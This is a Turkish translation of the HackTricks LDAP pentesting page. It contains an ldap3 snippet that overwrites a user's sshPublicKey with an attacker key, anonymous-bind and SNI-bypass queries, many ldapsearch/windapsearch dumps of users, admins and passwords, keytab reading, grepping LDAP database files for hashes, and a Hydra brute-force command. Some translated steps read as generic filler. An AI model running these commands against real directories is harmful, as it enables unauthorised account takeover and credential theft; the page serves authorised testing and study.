20 KiB
389, 636, 3268, 3269 - LDAP Pentesting
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin**.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
LDAP (Hafif Dizin Erişim Protokolü) kullanımı genellikle ağlarda, hem genel hem de özel, kuruluşları, bireyleri ve dosyaları ve cihazları gibi çeşitli varlıkları bulmak için yapılmaktadır. Önceki versiyonu olan DAP'a kıyasla daha küçük bir kod ayak izine sahip olmasıyla daha optimize bir yaklaşım sunar.
LDAP dizinleri, her birinin bir Dizin Sistemi Ajanı (DSA) olarak adlandırılan çoğaltılmış ve senkronize bir sürümünü barındıran birkaç sunucu üzerine dağıtılmasına izin vermek üzere yapılandırılmıştır. İstekleri işleme alma sorumluluğu tamamen LDAP sunucusuna aittir ve gerektiğinde diğer DSAlarla iletişim kurarak isteği yapan kişiye birleşik bir yanıt sunabilir.
LDAP dizininin organizasyonu, en üstteki kök dizinle başlayan ağaç hiyerarşisine benzer. Bu, ülkelerden başlayarak, daha sonra organizasyonlara ve ardından farklı bölümleri veya departmanları temsil eden organizasyon birimlerine ve son olarak insanlar ve dosyalar gibi paylaşılan kaynakları içeren bireysel varlık seviyesine kadar uzanır.
Varsayılan port: 389 ve 636 (ldaps). Global Catalog (ActiveDirectory'de LDAP) varsayılan olarak 3268 ve LDAPS için 3269 portlarında bulunmaktadır.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Veri Değişim Formatı
LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme isteklerini (Ekle, Değiştir, Sil, Yeniden Adlandır) temsil edebilir.
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Satırlar 1-3 üst düzey etki alanını local olarak tanımlar
- Satırlar 5-8 ilk düzey etki alanını moneycorp (moneycorp.local) olarak tanımlar
- Satırlar 10-16 2 organizasyon birimini tanımlar: dev ve sales
- Satırlar 18-26 etki alanı nesnesi oluşturur ve değerlerle öznitelikler atar
Veri Yaz
Değerleri değiştirebiliyorsanız gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcıların "sshPublicKey" bilgisini değiştirebileceğinizi hayal edin. Bu öznitelik varsa, ssh'nin genel anahtarları LDAP'den okuduğu çok olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, ssh'de parola kimlik doğrulaması etkin değilse bile o kullanıcı olarak giriş yapabilirsiniz.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Açık metin kimlik bilgilerini izleme
Eğer LDAP SSL olmadan kullanılıyorsa, ağda açık metin kimlik bilgilerini izleyebilirsiniz.
Ayrıca, ağda LDAP sunucusu ve istemci arasında bir MITM saldırısı gerçekleştirebilirsiniz. Burada, istemcinin açık metin kimlik bilgilerini kullanarak giriş yapmasını sağlayacak bir Downgrade Saldırısı yapabilirsiniz.
Eğer SSL kullanılıyorsa, yukarıda bahsedildiği gibi bir MITM yapmaya çalışabilirsiniz ancak sahte bir sertifika sunarak, eğer kullanıcı kabul ederse, kimlik doğrulama yöntemini Downgrade edebilir ve kimlik bilgilerini tekrar görebilirsiniz.
Anonim Erişim
TLS SNI kontrolünü atlatma
Bu yazıda belirtildiğine göre, LDAP sunucusuna rastgele bir alan adıyla (örneğin company.com) erişerek, bir anonim kullanıcı olarak LDAP hizmetiyle iletişime geçebilmiş ve bilgi çıkarabilmiştir:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonim bağlantıları
LDAP anonim bağlantıları, etki altındaki kimlik doğrulamamış saldırganların alanından bilgi almasına izin verir, böylece kullanıcıların, grupların, bilgisayarların, kullanıcı hesabı özniteliklerinin ve alan parola politikasının tam listesini alabilirler. Bu bir eski yapılandırmadır ve Windows Server 2003'ten itibaren yalnızca kimlik doğrulamış kullanıcılara LDAP isteklerini başlatma izni verilir.
Ancak, yöneticiler anonim bağlantılara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir ve istenenden fazla erişim vermiş olabilirler, böylece kimlik doğrulamamış kullanıcıların AD'deki tüm nesnelere erişim sağlamalarına izin vermiş olabilirler.
Geçerli Kimlik Bilgileri
Eğer LDAP sunucusuna giriş yapmak için geçerli kimlik bilgileriniz varsa, Alan Yöneticisi hakkında tüm bilgileri dökümleyebilirsiniz:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Kaba Kuvvet
Numaralandırma
Otomatik
Bu kullanarak genel bilgileri (alan adı gibi)** görebileceksiniz:**
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Python ile LDAP numaralandırma
LDAP'yi kimlik bilgileri olmadan veya kimlik bilgileri ile numaralandırmak için python kullanabilirsiniz: pip3 install ldap3
Öncelikle kimlik bilgileri olmadan bağlanmayı deneyin:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Eğer yanıt True
ise, önceki örnekte olduğu gibi LDAP'in ilginç verilerini (örneğin adlandırma bağlamı veya alan adı) sunucudan elde edebilirsiniz:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Bir kez adlandırma bağlamınızı aldıktan sonra daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu size dizindeki tüm nesneleri göstermelidir:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Ya da tüm ldap'ı boşalt:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch, LDAP sorgularını kullanarak bir Windows etki alanından kullanıcıları, grupları ve bilgisayarları sıralamak için yararlı bir Python betiğidir.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Boş kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Eğer "bağlantı tamamlanmalıdır" şeklinde bir şey bulursanız, bu kimlik bilgilerinin yanlış olduğu anlamına gelir.
Bir alan adından her şeyi çıkarabilirsiniz:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Kullanıcıları Çıkartma
LDAP sunucularındaki kullanıcıları çıkartmak için ldapsearch
aracını kullanabiliriz. Aşağıdaki komutu kullanarak tüm kullanıcıları listeleyebiliriz:
ldapsearch -x -h <LDAP_SERVER_IP> -b "dc=<DOMAIN_COMPONENT>,dc=<DOMAIN_COMPONENT>" "(objectClass=inetOrgPerson)"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Bilgisayarları çıkarın:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Benim Bilgilerimi Çıkart
LDAP sunucuları genellikle kullanıcı bilgilerini depolamak için kullanılır. Bu bilgiler, kullanıcı adları, şifreler, e-posta adresleri ve diğer kimlik doğrulama verilerini içerebilir. Bu bilgileri çıkarmak için aşağıdaki adımları izleyebilirsiniz:
-
Sunucuyu Tarama: LDAP sunucusunu taramak için çeşitli araçlar kullanın, örneğin
ldapsearch
. -
Kullanıcı Bilgilerini Listeleme: Tarama sonucunda elde ettiğiniz bilgiler arasında kullanıcı adları, e-posta adresleri gibi bilgileri listeleyin.
-
Bilgi Toplama: Kullanıcı adları ve diğer bilgileri hedefe yönelik olarak toplayın.
-
Kimlik Doğrulama Bilgilerini Kullanma: Elde ettiğiniz bilgileri kimlik doğrulama saldırıları için kullanabilirsiniz.
-
Yetki Yükseltme: Elde ettiğiniz bilgileri kullanarak yetki yükseltme saldırıları gerçekleştirebilirsiniz.
Bu adımları takip ederek LDAP sunucularından kullanıcı bilgilerini çıkarabilir ve hedefe yönelik saldırılar gerçekleştirebilirsiniz.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Domain Admins'ı çıkarın:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Domain Kullanıcılarını Çıkartma:
-
ldapsearch kullanarak tüm kullanıcıları çıkarın:
ldapsearch -x -h <LDAP_SERVER_IP> -b "dc=<DOMAIN>,dc=<COM>" -D "<LDAP_BIND_DN>" -w <PASSWORD> "(objectClass=user)"
-
ldapsearch ile sadece kullanıcı adlarını çıkarın:
ldapsearch -x -h <LDAP_SERVER_IP> -b "dc=<DOMAIN>,dc=<COM>" -D "<LDAP_BIND_DN>" -w <PASSWORD> "(objectClass=user)" sAMAccountName
-
ldapsearch ile kullanıcıların ayrıntılı bilgilerini çıkarın:
ldapsearch -x -h <LDAP_SERVER_IP> -b "dc=<DOMAIN>,dc=<COM>" -D "<LDAP_BIND_DN>" -w <PASSWORD> "(objectClass=user)" -LLL
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Enterprise Admins Grubunu Çıkartma:
ldapsearch -x -h <LDAP_SERVER_IP> -D "<LDAP_BIND_DN>" -w <PASSWORD> -b "cn=users,dc=<DOMAIN>,dc=<COM>" "(member=cn=Enterprise Admins,cn=users,dc=<DOMAIN>,dc=<COM>)"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Yöneticileri çıkarın:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Uzak Masaüstü Grubu Çıkartma:
ldapsearch -x -h <IP_ADDRESS> -b "dc=<DOMAIN>,dc=<COM>" -D "<USERNAME>" -w "<PASSWORD>" "(objectclass=group)" "Remote Desktop"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Eğer herhangi bir şifreye erişiminizin olup olmadığını görmek istiyorsanız, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
pbis
pbis'i buradan indirebilirsiniz: https://github.com/BeyondTrust/pbis-open/ ve genellikle /opt/pbis
dizinine kurulur.
Pbis, temel bilgilere kolayca erişmenizi sağlar:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Grafik Arayüz
Apache Directory
Apache Directory'yi buradan indirebilirsiniz. Bu aracı nasıl kullanacağınıza dair bir örneği burada bulabilirsiniz.
jxplorer
LDAP sunucusu ile grafik arayüzü indirebilirsiniz: http://www.jxplorer.org/downloads/users.html
Varsayılan olarak kurulu olduğu dizin: /opt/jxplorer
Godap
https://github.com/Macmod/godap üzerinden erişebilirsiniz.
Kerberos üzerinden Kimlik Doğrulama
ldapsearch
kullanarak kerberos üzerinden kimlik doğrulaması yapabilirsiniz, bunun için -Y GSSAPI
parametresini kullanabilirsiniz.
POST
Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (genellikle /var/lib/ldap içinde olabilir), hash'leri çıkarabilirsiniz:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Yapılandırma Dosyaları
- Genel
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 sunucusu
- V3.sas.oc
- Microsoft Active Directory sunucusu
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP dizin sunucusu
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini alın
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.